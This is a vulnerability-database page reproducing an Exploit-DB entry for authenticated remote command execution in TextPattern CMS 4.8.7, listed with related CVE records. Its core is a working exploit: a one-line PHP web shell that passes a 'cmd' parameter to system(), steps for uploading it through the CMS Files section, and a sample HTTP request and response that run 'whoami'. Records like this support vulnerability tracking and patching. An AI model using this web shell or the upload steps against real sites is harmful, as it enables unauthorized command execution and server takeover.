Lucene search
+L

TextPattern CMS 4.8.7 - Authenticated Remote Command Execution

🗓️ 14 Jun 2021 00:00:00Reported by Mert DaşType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 303 Views

TextPattern CMS 4.8.7 Remote Command Execution via File Uploa

Related
Code
ReporterTitlePublishedViews
Family
attackerkb
attackerkb
CVE-2021-47943
10 May 202612:43
–attackerkb
circl
Circl
CVE-2021-47943
12 Sep 202610:00
–circl
cnnvd
CNNVD
Textpattern CMS code-related vulnerabilities
10 May 202600:00
–cnnvd
cnvd
CNVD
Textpattern CMS file upload vulnerability
18 May 202600:00
–cnvd
cve
CVE
CVE-2021-47943
10 May 202612:43
–cve
cvelist
Cvelist
CVE-2021-47943 TextPattern CMS 4.8.7 Remote Code Execution via File Upload
10 May 202612:43
–cvelist
exploitdb
Exploit DB
TextPattern CMS 4.8.7 - Authenticated Remote Command Execution (RCE)
14 Oct 202100:00
–exploitdb
euvd
EUVD
EUVD-2021-34803
10 May 202615:31
–euvd
nvd
NVD
CVE-2021-47943
10 May 202613:16
–nvd
ptsecurity
Positive Technologies
PT-2026-39517
10 May 202600:00
–ptsecurity
Rows per page
# Exploit Title : TextPattern CMS 4.8.7 - Remote Command Execution (Authenticated)
# Date : 2021/09/06
# Exploit Author : Mert Daş [email protected]
# Software Link : https://textpattern.com/file_download/113/textpattern-4.8.7.zip
# Software web : https://textpattern.com/
# Tested on: Server : Xampp

First of all we should use file upload section to upload our shell.
Our shell contains this malicious code: <?PHP system($_GET['cmd']);?>

1) Go to content section .
2) Click Files and upload malicious php file.
3) go to yourserver/textpattern/files/yourphp.php?cmd=yourcode;

After upload our file , our request and respons is like below :

Request:

GET /textpattern/files/cmd.php?cmd=whoami HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0)
Gecko/20100101 Firefox/89.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Cookie: txp_login_public=18e9bf4a21admin; language=en-gb; currency=GBP;
PHPSESSID=cctbu6sj8571j2t6vp7g8ab7gi
Upgrade-Insecure-Requests: 1


Response:

HTTP/1.1 200 OK
Date: Thu, 10 Jun 2021 00:32:41 GMT
Server: Apache/2.4.48 (Win64) OpenSSL/1.1.1k PHP/7.4.20
X-Powered-By: PHP/7.4.20
Content-Length: 22
Connection: close
Content-Type: text/html; charset=UTF-8

pc\mertdas

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

23 Nov 2026 00:00Current
5.3Medium risk
Vulners AI Score5.3
CVSS 48.7
CVSS 3.18.8
EPSS0.01967
SSVC
303